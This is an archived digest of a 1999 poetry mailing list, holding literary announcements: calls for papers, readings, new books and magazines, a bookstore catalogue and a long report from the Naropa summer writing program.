The Ghost of Abel, copy A
Laocoon, copy B

Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors
Matthew Kirschenbaum, Project Manager
The William Blake Archive

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31. Peter Quartermain
CALL FOR PAPERS: POETRY AND THE INAUTHENTIC
Thu 14 Jan 1999

The Poetry Division of the MLA will be holding a session, in Chicago, December 1999, on

POETRY AND THE INAUTHENTIC

Notions of inauthenticity, through consideration of plagiarism, forgery, hoax, accident, misattribution, and the like, as exemplified in for example Chatterton, O'Malley, Ossian, Spectrism, Yasusada and/or elsewhere.

Please send 500-word abstracts of proposed papers, to reach me before

10 March 1999.

Email submissions acceptable, but they MUST (please) be followed up with hard copy.

Peter Quartermain
+ +

Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

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32. dbkk
"*The Vegetable Kingdom*"
Thu 14 Jan 1999

California College of Arts and Crafts
5212 Broadway @ College
Oakland, CA 94618
For information [redacted]

January 20, 1999
8:00 p.m.
Oliver Art Center, CCAC Institute
presents

THE VEGETABLE KINGDOM
A play by Kevin Killian and Rex Ray

In a last-ditch effort to stave off cancellation by the network, two producers of a sagging TV game show (THE VEGETABLE KINGDOM, kind of like JEOPARDY with vegetable questions) decide to switch its format to CELEBRITY VK, and try to enroll Linda McCartney and Yoko Ono as their celebrity contestants. Linda, holed up in her Meatless Mystery Ranch in Tucson, Arizona, dying of cancer, surrounded by her loyal staff of robots and animals, decides to take them up on their offer, believing that America is ready for evangelical vegetarianism. Yoko Ono, brooding over the career of her son, Sean, and the wayward history of the Fluxus movement, flies in from New York to Hollywood to appear on the program. Neither of them knows the other is going to be her opponent. War ensues both off-screen and on. This is a play about forgiveness, redemption, repressed memory, and the age-old question of how can we make this sorry old world a better place.

WORLD PREMIERE with Norma Cole, Kota Ezawa, Cliff Hengst, Scott Hewicker, Kevin Killian, Karla Milosevich, Rex Ray, Larry Rinder, Jocelyn Saidenburg, Mary Margaret Sloan and Wayne Smith. Mary Margaret Sloan makes her acting debut as Lee Meriweather, actress, former Miss America, former Catwoman on Batman, etc., etc. THIS PERFORMANCE FREE!

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33. Rebecca Wolff

Fence Volume 1, no. 2

Thu 14 Jan 1999

Hi, I wanted to tell you about Fence, Vol. I, no. 2, which includes, among other things, a new poem by Charles Bernstein, one from Rosmarie Waldrop, two from Jane Miller, several from Elizabeth Robinson, two from Brenda Hillman, a series by Laura Mullen, two from Mary Jo Bang, art from Bruce Conner, poems by Lee Ann Brown, a long section by C.D. Wright, a poem by Chris Stroffolino, and several by Donald Revell.

As you can see from the above list, Fence is interested in publishing work from the experimental mainstream as well as the academic mainstream--mixed metaphors of barriers and water.

Because this is one of the few venues in which a Manifesto might be well-received, I'd like to include our own, which was integral to the conception of the magazine, but which has never been published anywhere due to shyness and fear of jeering.

Please check out our website: www.fencemag.com

What follows is a Manifesto/Press Release:

FENCE

-- the skeleton of a wall, the embodiment of a line...
-- a pause between fields and a conduit for pleasure...
-- a structure at once transparent and definitive..

Fence is a new journal of poetry, fiction, criticism, and art. Its editors are writers, artists, participants in the cultural throng who are dissatisfied with the stratified, self-consuming body of literary journals available. Our contributors are those whose work sits resolutely on the fence, resisting easy definition. We are convinced that mystery, as it is manifested in the subjective voice, is a legitimate and pleasurable by-product of the agency of the author. We have devised a journal with an explicit mission: if not to erase the lines as they are drawn, at least to expose, defy, and recontextualize them for a new readership: the converted reunited with the curious.

...a marker of territory Fence is a response to a percieved need. We wish to provide a reliable home for the fence-sitters: those writers who are intent on following the lead of what they truly hear as opposed to what they have heard before or what they have read about and with which they hope to align themselves.

-- a willful ambiguity, an informed non-commitment Fence is a resting place for work that we recognize by its singularity, its reluctance to take a seat in any established camp, its insistence on the reader's close attention to what is not already understood, digested, judged. Readers will be surprised and refreshed upon encountering in our pages an editorial presence that is unusually self-conscious in its attempts to contextualize, inform, and reciprocally reveal our contributors to our readers -- to expose the skeletal cross-purpose of our document.

-- a shared boundary We intend to be literally didactic, to enclose territory for an unhindered, unburdened encounter with the discussion of theories, styles, histories, movements, and tastes. Fence offers its readers a richesse of literacy, one that is populist not by virtue of condescension, but by its lack of presumptions.

-- a vantage point from which to see, simultaneously, several shades of green in the grass There is nothing radical about this magazine. We do not see the erection of such a fence as a combative or exclusionary measure, but as a gesture of cultivation. Fence stands against the false obfuscation of the fruits of our culture's labor, that which has been framed and sentenced to inaccessability. We seek, above all, to increase the reader's pleasure.

-- a midpoint between the acquisition and distribution of stolen goods There is nothing impenetrable about the work being done today; it is in response to what has come before, that which has been previously allowed; it is now allowed. Within the context of each issue of Fence we reinforce the realm of possibility and contextualize our contributors within it. Fence intentionally blurs the distinction between "difficulty" and "accessibility," preferring instead to address a continuum of utterance.

-- a dashing exercise, a good humoured parry-and-thrust
Our editorial strategy is a balancing act, undertaken in a spirit of inquiry rather than critique. From John Ashbery's poem "Soonest Mended":

> But the fantasy makes it ours, a kind of fence-sitting
> Raised to the level of an esthetic ideal

Taken entirely out of context, these lines refer to our own aim and fantasy: to support poetry and fiction that is written without the safety of received theory or streamlined tradition but wholly out of impulse, knowledge, and the experience of necessity.

-- a dissemination point We wish to preach dually to the converted and to the curious. Our criticism is immediate and intimate, attempting an explicit address. We hope to break down the wall which we feel has been interposed between the reading public and the material of our individualities -- our poems, our fiction -- and to build in its place a fence.

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34. Ron Silliman
Review of Sally Silvers in NY Times
Thu 14 Jan 1999

Check out a decent review of Sally Silvers' latest work in today's New York Times (including a piece with a score by Bruce Andrews):

http://www.nytimes.com/yr/mo/day/news/arts/silver-dance-review.html

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35. Lawrence Upton.
Writers Forum announcement
Thu 14 Jan 1999

Writers Forum launched two publications by Peter Jaeger last night when Peter read at SVP.

BLUE HERO ISBN 0 86162 849 7

BIBLIODOPPLER ISBN 0 86162 858 6

Order from New River Project, 89a Petherton Road, London N5 2QT

Each booklet costs £2.00 + postage which of course varies with where you are.

Send enquiries to NRP with sae / irc, not me please

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36. Pete Neufeld
Reading
Thu 14 Jan 1999

I was asked to post the following:

The Attic Club in San Francisco will host the following reading events

On Jan. 16 @ 5pm

> Ed Foster
> Leonard Schwartz
> Tod Thilleman

On Feb. 6 @ 5pm

Publication party for the Avec Sampler # 2 featuring:

Charles Borkhuis
Lisa Lubasch
Michael Palmer

The Attic Club can be found at 3336 24th Street between Mission and Valencia, right across the street from BART.

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37. Loss Pequen~o Glazier
New @ EPC / Default Home Page
Thu 14 Jan 1999

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(1) I'm pleased to announce the recent additions to/features at the EPC:
If It Rained Here (Harrison/Elliot) (connect) (also via Ubu)
Figuring the Word (Drucker) (connect)
Log Rhythms (Bee/Bernstein) (connect)
My Way (Bernstein)
[redacted]+ (Spring 1999)
Kenneth Irby bibliography (Smith)
Lipstick Eleven (connect)
Hannah Weiner Notes
The Russian Poetry Festival
As ever, these can be found by clicking "New" on the EPC home page, http://writing.upenn.edu/epc/
(2) Also, I have received questions about how to set the EPC as your browser default home page. To do this in Netscape, click on "Options", then on "General Preferences", then type the EPC home page address http://writing.upenn.edu/epc/ in the "Browser starts with" box. This will bring the EPC up when you open your Web browser, a good way to see new announcements and features when the appear. (In Explorer this is "View" then "Internet Options" then you type http://writing.upenn.edu/epc/ in the "Address" box.)

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38. James Sherry
ROOF Books New Titles
Thu 14 Jan 1999

ROOF Books has just published:

Bob Perelman's <The Future of Memory> 120p, $14.95

&

Kit Robinson's <Democracy Boulevard> 104p, $11.95

As a special offer to the list members only, you may respond to this message with your name and address and Roof will send you both books for the amazing price of $14 including postage. Roof will send you the books and a bill and you will kindly be trusted to send us a check asap.

You may also order our complete line of titles through our website at segue.org or through SPD.

James Sherry

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39. Peter Ganick
POTES & POETS CHAPBOOKS
Fri 15 Jan 1999

POTES & POETS PRESS NEW CHAPBOOK SERIES
(ISBN prefix: 0-937013)

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Peter Ganick, publisher.

peter ganick
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<http://members.home.com/zeropoet>

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40. Peter Ganick
A.BACUS 1999
Fri 15 Jan 1999

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Not accepting submissions for A.BACUS now.

Peter Ganick, publisher.

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41. Ron Silliman
Grotowski obit
Fri 15 Jan 1999

The great director Jerzy Grotowski has died.

www.nytimes.com/yr/mo/day/news/national/obit-grotowski.html

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42. Michael Boughn
Books
Fri 15 Jan 1999

shuffaloff press
is pleased to announce the publication of

Line of Flight

fictions by
Bruce Comens

Robert Creeley writes:

"'There is nothing but thinking makes it so.' It is that persistent fact which displaces the comforting reality of our usual worlds, making that 'otherwhere' a palpable, self-determining presence. The narrators of these various fictions can only tell us that such _other_ is persistently there -- as one turns into a physical tree, as a second watches the shifting patrons at a cafe sketch one another into pinned reflection, as a third tracks through an increasing vagueness of streets until the wind drives 'to careen on up into the bank of gray cloud overhead. And beyond: a pulse of blank white, before wind.'

"Singular, intently articulate, walled in with a boundless emptiness it's determined to enter, this exceptional work attempts to trace its proposals by means of parable, to tell again and again such stories as that of Icarus, who here can fly without his father's laboriously constructed wings, yet wears them nonetheless. Where does he go, then? Even more--from where can one think he has come?"

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by
John Clarke

With typical generosity and good nature, Clarke probes crucial questions about how we think authority. Initially published in his newsletter, intent., this essay takes on various misprepresentations of the legacy of Clarke's friend and teacher, Charles Olson and his seminal contribution to the poetries of this century.

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Preface to the Early Poems of Robert Duncan
by
Robin Blaser

Blaser succintly and precisely delivers us into the mind of Robert Duncan's poetry as it participates in the larger mind of America and, as Blaser has it, "the particulars of our relations [to] what may be called soul-making."

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shuffaloff press
653 Euclid Ave. Toronto ON M6G 2T6 CAN
260 Plymouth Ave. Buffalo NY 14213 USA

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43. aerialedge

New Bernstein, Dipalma, Drama, &&&@ Bridge Street

Fri 15 Jan 1999

It's an abundance. Ordering instructions & discount information at the end of the list. Thanks, Poetics, for your support.

1. _True_, Rae Armantrout, Atelos, $12.95. A memoir. "I was restless."

2. _My Way: Speeches and Poems_, Charles Bernstein, U Chicago, $18. 320 pages of essays, poems, interviews, talks, articles, "from the role of the public intellectual to the poetics of scholarly prose, from vernacular modernism to idiosyncratic postmodernism, from identity politics to the resurgence of the aesthetic, from cultural studies to poetry as performance, from the small press movement to the web. Along the way he provides 'close listening' to such poets as

poets as Charles Reznikoff, Laura Riding, Susan Howe, Ezra Pound, Allen Ginsberg, and Gertrude Stein."

3._Log Rhythms_, Charles Bernstein, w/ illustrations by Susan Bee, Granary Books, ltd edition of 500 copies, saddlestitched, $35. "Grilled cheese, grilled cheese / Please don't make me sneeze!"

4. _Big Allis 8_, ed Melanie Neilson w/ Deirdre Kovac, $8. Special feature 14 from Great Britain & Ireland guest ed Fiona Templeton: Catherine Walsh, Drew Milne, Andrea Brady, Caroline Bergvall, Aaron Williamson, David Kinloch, Karlien van den Beukel, Rob McKenzie, Helen Macdonald, John Wilkinson, Sarah Law, Tertia Longmire, Ken Edwards, & Miles Champion. Also in this issue: Juliana Spahr, Noah de Lissovoy, Bruce Andrews, Graham Foust, Stephanie Strickland, Bob Harrison, Lisa Robertson and Christine Stewart, Rodrigo Toscano, H. T., Alison Lune, Heather Ramsdell, & Liz Waldner.

5. _Other: British and Irish Poetry since 1970_, ed Richard Caddel and Peter Quartermain, Wesleyan, $24.95. "This highly focused anthology brings together several important strands of the vibrant, alternative poetry produce in the UK since 1970. It includes work by 55 poets, among them Cris Cheek, Brian Coffey, Fred d'Aguiar, Ken Edwards, Allen Fisher, Veronica Forrest-Thompson, Ulli Freer, Randolph Healy, Linton Kwesi Johnson, Geraldine Monk, Eric Mottram, Wendy Mulford, Douglas Oliver, Maggie O'Sullivan, Tom Raworth, Denise Riley, Gael Turnbull, and Catherine Walsh."

6. _Profit Over People: Neoliberalism and the Global Order_, Noam Chomsky, Seven Stories, $15.95. "Side comment: communications are not the same as uranium."

7. _A Secret Location on the Lower East Side: Adventures in Writing 1960-1980_, Stephen Clay and Rodney Phillips, New York Public Library / Granary Books, $27.95. Based on the NYPL exhibition, this book documents the small press publishing scene of the Beat, Black Mountain, New York School, San Francisco Renaissance, & L=A=N=G=U=A=G=E crowds. With a preface by Jerome Rothenberg, 200 b&w illustrations, contributions from many of the original editors, a timeline, sorry no pop-ups. Definitely qualifies for the term "sourcebook."

8. _postcards_, Barbara Cole, Beautiful Swimmers, $8. "I think my head might fall off from nodding too vigorously."

9. _Letters_, Ray Di Palma, Littoral, $10.95. "But once again / you wait for the translation--"

10. _RENGA : Draft 32_, Rachel Blau DuPlessis, Beautiful Swimmers, $8. "o world whirr or were or was // Children, pretending birds, yell CHIRP."

11. _Polemics_, Anselm Hollo, Anne Waldman, & Jack Collom, Autonomedia, $8. The long-time Naropa colleagues under one cover. "inside every Messiah / is a second- hand / exploding frog joke"

12. _Hambone 14_, ed Nathaniel Mackey, $10. Geoffrey O'Brien, Peter Cole, Nathaniel Tarn, Barbara Guest, Ed Roberson, Amiri Baraka, Bradford Graves, an interview w/ Steve Lacy by Irene Aebi, Albert Mobilio, Joseph Noble, Jesse

Glass, Phillip Foss, Rachel Blau DuPlessis, Pierre Joris, C S Giscombe, Susan Thackeray, Micahel Davidson, Craig Watson, Harryette Mullen, Lydia Davis, Martha Ronk, George Kalamaras, Clayton Eshleman, Wilson Harris, Brent Edwards on Sun Ra's poetry, Baraba Barrigan on Will Alexander, Andrew Joron on Peter Gizzi.

13. _Mina Loy: Woman & Poet_, ed Maeera Shreiber & Keith Tuma, National Poetry Foundation, $24.95 . Mina Loy interviewed by Paul Blackburn & Robert Vas Dias, essays by Eric Murphy Selinger, Rachel Blau DuPlessis, Peter Quartermain, Jeffrey Twichell-Waas, Marjorie Perloff, Elizabeth Frost, Roger Conover, Susan Gilmore, Anita Helle, Tyrus Miller, Ellen Keck Stauder, Janet Lyon, Marisa Jauzzi, Susan E Dunn, Richard Cook, Kathleen Fraser, Norma Cole, Barbara Guest, & Anne Waldman.

14. _From the Other Side of the Century II: A New American Drama, 1960-1995_, ed Douglas Messerli and Mac Wellman, w/ an introduction by Marc Robinson, Sun & Moon, $29.95. Edward Albee, Arnold Weinstein, Jack Richardson, Amiri Baraka, Tennessee Williams, Ed Bullins, Rosalyn Drexler, John Guare, Ronald Tavel, Lee Breuer, Richard Foreman, Sam Shepard, Adrienne Kennedy, Richard Nelson, Jeffrey M Jones, Charles Ludlam, OyamO, Craig Lucas, Pedro Pietri, Eric Overmyer, Constance Congdon, Maria Irene Fornes, Len Jenkin, Erik Ehn, John Steppling, Charles L. Mee Jr., Richard Caliban, Suzan-Lori Parks, Tina Howe, David Greenspan, Lynne Alvarez, Murray Mednick, Mac Wellman, Kier Peters, Naomi Iizuka, & Tony Kushner.

15. _The Future of Memory_, Bob Perelman, Roof, $14.95. "Aren't you the real life of adjectives?"

16. _The Book of Disquiet_, Fernando Pessoa, Exact Change, $15.95. "I have always rejected the idea of being understood."

17. _Raddle Moon 17_, ed Susan Clark, $10. Some Vacouver Writers: Christine Stewart, Peter Culley, Colin Smith, Melissa Wolsak, Catriona Strang & Nancy Shaw, Maxine Gadd, Deanna Ferguson, Robert Manery, Dorothy Trujillo Lusk, Kevin Davies, Larry Timewell, Jeff Derksen, Lisa Robertson, Meredith Quartermain, Edward Byrne, Dan Farrell, Paul Mutton, Marie Annehart Baker, David Bromige, & Susan Clark. Elsewhere: William Fuller, Jean Day, Katrine Le Gallou, Jackson Mac Low, Gil McElroy, & Rae Armantrout. New Writing from Quebec: Cynthia Girard & Michael Delisle, translated by Robert Majzels & Erin Moure.

18. _Democracy Boulevard_, Kit Robinson, Roof, $11.95. "A sea startles the art."

19. _The Teachers & Writers Guide to William Carlos Williams_, ed Gary Lenhart, T&W, $14.95. Poems & essays by: Julia Alvarez, Kenneth Koch, Mary Edwards Wertsch, Peggy Garrison, Ron Padgett, Charles North, Reed Bye,

Barbara Flug Colin, Sally Cobau, Bob Blaisdell, David Surface, Jordan Davis, Christopher Edgar, Penny Harter, Allen Ginsberg, & Bill Zavatsky.

Some bestsellers:
Imagining Language: An Anthology, ed Jed Rasula and Steve McCaffery, MIT, $55.
How To Do Things With Words, Joan Retallack, Sun & Moon, $10.95.
Ron Silliman and the Alphabet, ed Thomas A. Vogler, Quarry West 34, $15.
An Anthology of New Poetics, ed Christopher Beach, U Alabama, $19.95.
Poetics Journal 10: Knowledge, $14.
The Feminist Memoir Project, ed Rachel Blau DuPlessis and Ann Snitow, Three Rivers Press, $20.
Tripwire: A Journal of Poetics #2, ed Yedda Morrison and David Buuck, $8.
Oulipo Compendium, ed Harry Mathews & Alistair Brotchie, Atlas Archive Six, $19.99.
Two Haloed Mourners, Bernadette Mayer, Granary Books, ltd edition of 100 copies, 42 pages, $12.
Ribot 6: over 60 under 30, ed. Paul Vangelisti, $9.95.
Poet Be Like God: Jack Spicer and the San Francisco Renaissance, Lew Ellingham and Kevin Killian, Wesleyan, $35.
Whatsaid Serif, Nathaniel Mackey, City Lights, $12.95.
Mysteries of Small Houses, Alice Notley, Penguin, $14.95.
The Lion Bridge: Selected Poems 1972-1995, Michael Palmer, New Directions,
$18.95.
An Anthology of New (American) Poets, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, Talisman, $21.95.
Moving Borders: Three Decades of Innovative Writing by Women, ed. Mary Margaret Sloan, Talisman, $27.95.
Close Listening: Poetry and the Performed Word, Charles Bernstein ed., Oxford, $19.95.
Perhaps this is a rescue fantasy, Heather Fuller, $10.
Nothing Happened and Besides I Wasn't There, Mark Wallace, $9.50.
Collected Prose, Charles Olson, $19.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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44. Poetry Project
this week's readings
Fri 15 Jan 1999

This week at the Poetry Project:

Friday, Jan. 15th at 10:30 pm

Martin Luther King Jr. Celebration
with Hettie Jones, David Henderson, Patricia Spears Jones, Sharan Strange & others

NO READING MONDAY

Wednesday, Jan. 20th at 8 pm

Nicole Brossard & Heather Fuller

NO READING FRIDAY

Monday, Jan. 25th at 8 pm

Nava Fader & David Mills

For more information on the January schedule (biographies on readers, etc.) visit our
website at http://www.poetryproject.com

Admission is $7, $4 students, and free for members

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45. Poetics List
Naropa forward
Fri 15 Jan 1999

Jonathan Skinner asked me to forward this to the list. Chris

> In case any of you are wondering what to do next summer, here1s a
> report from last year1s Naropa Summer Writing Institute (May
> 15-June12), which I attended for about ten days. If this coming
> summer1s events are to be anything like last year1s, I highly
> recommend checking Naropa out, if you can make it to Boulder. (A much
> abbreviated version of this was published in the October/November
> Poetry Project Newsletter.) And if this piques your curiosity, I also
> recommend you check out Patrick Pritchett1s phenomenal 3live2
> reportage of the whole month, which you can look up on the Poetics
> listserv1s archives for May/June.

>
> Report from ten days (May 15-25) at the 1998 Naropa Institute Summer
> Writing Camp:
>
> While the coasts went on vacation, the Big Tent went up once again,
> indefatigable, at the foot of the Rockies for an especially exciting
> month of Œlandlocked1 writing events. The week1s focus was
> experimental writing in the objectivist lane, although many present
> were clearly off-road. The Berrigan brothers gave a double-shot
> kickoff reading at the Penny Lane cafe (see EPC listserv archives for
> report). Tuesday night brought us Heller, Blau DuPlessis, and
> Penburthy (w/ slides of Neidecker1s Œcalendar1 poems) opening for
> Rakosi.
> The gnomic Karl Rakosi (spry at 90 & the high altitude)-- 3I1m going
> to put my cap on to see whether it fits2-- evoked himself as, 3an
> early lover of Yeats1 moonshine period,2 before twirling his
> comico-satirical one-liners for us, 3tragic satchmo events,2 like so
> many helium barbells. Poems which led us through a kind of
> Nietzschean inferno, seen from the millenium1s, and a life1s, end:
> 3corporate man... a self-made man/ who loves his creator... sits by
> the waters of time/ studying his odds.2 Rakosi1s refreshing mix of
> wit and weight upped the tone for the week. During the next day1s
> colloquium he spoke easily, of the Œobjectivists:1 3Jeez, they were
> all jews!2 Zukovsky? 3He didn1t know how to ride a bicycle.2
> Reznikoff? 3He chirped away like a sparrow... it was impossible to
> suspect that Reznikoff was not sincere.2 Oppen? 3We used to picnic
> together.2
> Fortunately, little time was wasted on definitions of Œobjectivism.1
> The consensus seemed to be the lack of consensus, and a healthy
> circulation of ideas-- from Hollo, Schelling, Blau DuPlessis, Heller,
> Penburthy, to a bemused Rakosi: 3It1s a tough business.2 (We got
> incidental gems such as Hollo1s paraphrase of the Olson Œfull
> saturation job1-- 3quarrying one whatever/ no matter how abstruse/
> till it lies limp.2) Some of the younger poets began to wonder if
> Œobjectivist1 meant anything more or less than Œthe poets who call
> themselves so.1 Niedecker1s presence was strong, and dissenting--
> scholar Jenny Penburthy reminded us of Niedecker1s marginal
> relationship to Œobjectivism,1 highlighting her Œsurrealist1
> tendencies (as in 3New Goose Poems2) and engagement with 3poetry as

> the folk tale of the mind.2 By the week1s end you couldn1t make it to
> the bathroom or the canteen without getting caught in a crossfire of
> lively, spin-off conversation.
> Workshops I attended by Schelling (3bio-regional poetics2), Notley
> (3miming the mind2) and Oliver (3new poetry styles in the US, France
> and Britain2) were unconventional and stimulating. On the trail with
> Andrew Schelling1s class-- narrowleaf cottonwood, yucca in white bloom
> feeding ants and moths, ladybugs, serviceberry (sour but bears like
> Œem), rufous towhee, ponderosas1 bushy tufts, whose needles come in
> fours-- stopped on a knoll to read 3Wintergreen Ridge,2 and discuss
> Neidecker1s own kind of walk, blending humor with observation &
> remembered books. Notley read from a new, long Œautomatic1 poem and
> discussed the art of 3tracking the mind2 and dreaming as 3a form of
> thought... the I that1s controlling, both watching and letting it
> happen, is always there; it1s untruthful to leave it out.2 Oliver led
> challenging discussion of many poems from the Talisman House New
> (American) Poets anthology, such as Luoma1s 3apparently simple poems
> that are actually quite layered.2 These were only a fraction of the
> offerings; the week1s faculty also included-- in addition to Naropa
> full-timers and the Œobjectivist1 suspects-- Wesley Tanner in the
> printshop, Keith Abbot, Chris Baer and Laird Hunt on the prose end,
> and the Œoutriders1 Olga Broumas, Maureen Owen, Eleni Sikelianos and
> Harryette Mullen. Workshops were supplemented with one-on-one
> Œinterviews.1 At the final colloquium, faculty were asked what, if
> any, workshop experience had informed their own writing; to which,
> Jack Collom: 3I took a workshop, but I didn1t inhale.2
> There were readings and performances to packed houses every night
of
> the week. Oliver on Paris: 3Black yarmulkes pass by me to Beth Din
> Shops.2 He read movingly, beautiful poems dedicated to Gisèle
> Celan-Lestrange. Sikelianos read her new, long-breath California
> canto getting away with the word Œrubiginous.1 Schelling read spare
> and haunted poems of the Rockies: 3do not despise this piece of
> broken bone/ it1s a piece of Zebulon Pike1s forearm.2 Bye1s rendition
> of the famous 3ballad of the bicycling dog2 had us in stitches. Owen,
> at bat for the shortest-poem-with-the-longest-title, beat her own
> average: WHAT YOU DO WHEN YOU CAN1T FORGET THE ONE YOU
DON1T LOVE
ANYMORE,
> etc. 3I fell in love. I did it by myself. There are some
> things/ you shouldn1t do alone.2 She also read from a one-poem
> sequence: 3this is #5 and it1s the only one in the series.2 Notley

> on Paris: 3Went to a restaurant, once more. Ate a duck. Guilt.2
> She read from Mysteries of Small Houses and from a new, long poem that
> frightened us all, confessing, 3I1m too lazy to be anything/ I just
> write.2 Hunt read from Thousands and Paris: A Complete Descriptive
> Catalogue, giving us the famous picture of Prometheus, 3doing rigorous
> calisthenics, completely naked, by open windows.2 Mullen delivered
> rhyme riddles-- 3let1s mambo, and be frisky/ your reality check1s in
> the escargot2-- and read her movie poem: 3so romantic are the patient
> English.2 She reminded us that, 3we1s all prisoners of our/ own
> natural anguish.2
> A highlight of the week was Notley1s Steve Carey talk: 3He has
been
> hurt in his youth-- the result is rampant poetry... you have to be
> somehow ravaged by poetry.2 Carey, who 3gave good phone2 and
> reportedly referred to tv sitcom episodes as Œworks1-- 3Don1t you know
> this work?2 It was a shot of that tough, life-saving humor bred of
> the cockroaches, thrift and crowded family conditions of the
> Œseventies Berrigan household: 3Men who forge valiant prescriptions
> become excellent fathers.2 We were treated to Carey readings-- 3Oh,
> Mom, it is so beautiful2-- at once moving and hilarious by the
> Berrigan entourage & other friends.
> Chris Baer, one of the 3rare breed that thinks poets and prose
> writers can learn from one another,2 who spoke of rewriting as
> 3skinning an animal and eating the bone,2 read his story 3The Humors,2
> with lines like, 3she has the eyes of a tormented squirrel2 or, 3he
> was a paper torso on the firing range.2
> Beautiful broadsides-- this week, a poem by Duncan-- were rolling
off
> the Kavayantraya (3poetry machine2) press, impeccably maintained by
> Jennifer Asteris. The Berrigan bros., with Brandon Downing and
> Jonathan Skinner, accompanied several students on a Œguerilla1
> reading-- where Eddie Berrigan gave a memorable rendition of the
> 3Headless Baby Blues.2 Perhaps best of all was the flurry of
> manuscripts, pamphlets, chapbooks and broadsides exchanged, talk
> throughout the afternoon under trees along creeks into night1s
> backyard parties, writing generated during workshops and eventually
> shared-- and the immense quality and interest of the student writing,
> as this year1s handsome, perfect-bound Twittering Machine evidences.
> Look for: Sherwin Bitsui, Jared Bland, Josepha Conrad, jeni olin,
> Marcus Mennes, ish kundawala, Austin James, Justin James Veach...
> among many, many others.
> The next week brought an entirely new wave of faculty-- including

> Bradford Morrow, Cole Swenson, Mei Mei Berssenbrugge, Peter Gizzi,
> Elizabeth Willis, Julie Patton. I attended (two days of)
> Berssenbrugge1s workshop. 3The character of person who makes the
> rules shows in the work in a very mysterious way,2 she stated,
> signalling a need to 3get away from the heroic materials of
> modernism... back toward a more spontaneous response...2
> At the colloquium on 3Legacies and (Women Writer) Progenitors,2
Cole
> Swenson-- pointing out that most elementary-school teachers of her
> generation were women (3women guided my hand around its first crude
> letter forms2)-- mentioned the dominant role women poets play in
> current incorporations and subversions, into Œsub-languages,1 of
> scientific and mathematical language. Swenson defined poetic geometry
> as 3negotiating a space between body and page,2 and evoked the
> 3geometrical, pre-symbolic2 roots of writing.
> Berverly Dahlen brought Dickenson to the table: 3Nature is a
haunted
> house/ but art, a house that tries to be haunted.2 Anne Waldman
> boldly stated: 3The artists in this secular world are lovers... Not
> fucking everything like Zeus-- to create wonderful hybrids of elements
> and animals-- but something like that in the realm of imagination.2
> Gizzi, reminding us 3poets think with their poems,2 cited Pound1s
> dictum: 3if you want to know your period, edit.2 Willis referred to
> Duncan1s 3Often I am permitted to return to a meadow,2 as a poem that
> changed her life. As did Creeley1s look of shock when she confessed
> she hadn1t (yet) read HD.
> Guest subverted her own Tribute by reading a piece she had written
--
> brandishing a 3white pen with cream in its nostrils2-- for the French
> poet Anne-Marie Albiach, on the occasion of her sixtieth birthday last
> year; this tribute to Albiach-- one of the century1s most important
> Œexperimental1 women writers-- was touching and appropriate. Guest
> spoke of a 3pull in the composition that is physical but
> phantom-like,2 and of the writer1s need to feel this pull, between
> herself and the poem being written... also of an 3essential
> destructiveness2 that enters the poem. 3Writing that doesn1t take a
> chance is not worth a tinner1s damn.2
> When asked about her reputation as an Œexperimental1 writer, Guest
> countered: 3I think we should get rid of the word experimental.2
> Anne Waldman: At 2:10 pm on June 23, 1998, at Naropa, Barbara Guest
> got rid of the word 3experimental.2
> Exciting events slated for the coming three weeks included

workshops
> with the likes of Ed Sanders, Kathy Kuehn and SPD1s Steve Dickison,
> Sze, Hollo and Kai Nieminen on translation, a Lawrence Ferlinghetti
> Tribute... Thanks to the hard work of coordinators Max Regan and
> Julie Kizershot, Naropa proves itself, once again, a vital forum for
> the interaction of Œouts1 and Œins,1 names Œnew1 and Œold,1 Œbig1 or
> Œsmall,1 tendencies coastal and midland, east or west, traditional as
> well as Œexperimental.1 Getting us, in Rakosi1s words, somewhere
> close to 3the real real world.2
>
> --Jonathan Skinner (1/14/99)

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46. Poetics List
conf. announcement
Fri 15 Jan 1999

Hi, if you wouldn't mind posting this to the poetics list....the anouncement notes an interest in the onging relationship between poetry and music and a number of poets are working in this area these days. many thanks. TS -----

---

CONFERENCE ANN0UNCEMENT/CALL FOR PAPERS

IAPSM-US (International Association for the Study of Popular Music, United States Branch) 1999 National Meeting.

WHEN: Sept. 30-Oct. 2, 1999

WHERE: Middle Tennessee State University (MTSU), Murfreesboro, TN

DON'T STOP TILL YOU GET ENOUGH: POPULAR MUSIC

The 1999 IASPM/U.S. conference welcomes papers on the cultural roles of music and musicians; the means by which music gets to its audiences; and the ways in which music is interpreted and used by listeners in a variety of contexts. In addition, we welcome disciplinary and interdisciplinary examinations of (among other topics):

* poetry/poetics and the influence of popular music
* various histories and traditions in popular music
* institutions, politics, and popular music
* race and popular music
* the dominant discourses of popular music/popular music studies
* gender studies and its relation to popular music studies
* technology and new media

* authorship issues in popular music
* performance theory and performance styles
* new ways of understanding both "popular" and "music"

GRAD STUDENT AWARDS: IASPM-US will offer three awards of $200 each to the three best papers presented by graduate students.

ABOUT THE LOCATION: Murfreesboro is located approximately 35 miles from Nashville. We will plan several panels, speakers, and recreational activites around music-making activities in the Nashville area.

Deadline for proposals: May 15, 1999

Please send all proposals to (submissions by e-mail are strongly encouraged):

Professor Thomas Swiss
Chair, Program Committee
e-mail: [redacted]
1514 Buresh Ave
Iowa City IA 52245

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47. Elizabeth Fodaski

[redacted] ***Happiness***

Fri 15 Jan 1999

SEGUE @ DOUBLE HAPPINESS
FEBRUARY, MARCH, APRIL, & MAY 1999 READINGS
SATURDAYS FROM 4:00 TO 6:00 PM
PLEASE TAKE CAREFUL NOTE OF THE TIME. READINGS BEGIN PUNCTUALLY.
DOUBLE HAPPINESS IS LOCATED AT 173 MOTT STREET, JUST SOUTH OF BROOME.
A 4$ CONTRIBUTION GOES TO THE READERS.

Please support our series.
Readings will begin promptly at 4. Doors will open at 3:30 for those who want to start drinking and schmoozing early.
Coordinators for this series are Dan Machlin, Laird Hunt, Brian Stefans, Andrew Levy, & Liz Fodaski.
Continuing support of this series is provided by the Segue Foundation.
Funding is made possible by support from the Literature Program of the New York State Council on the Arts.

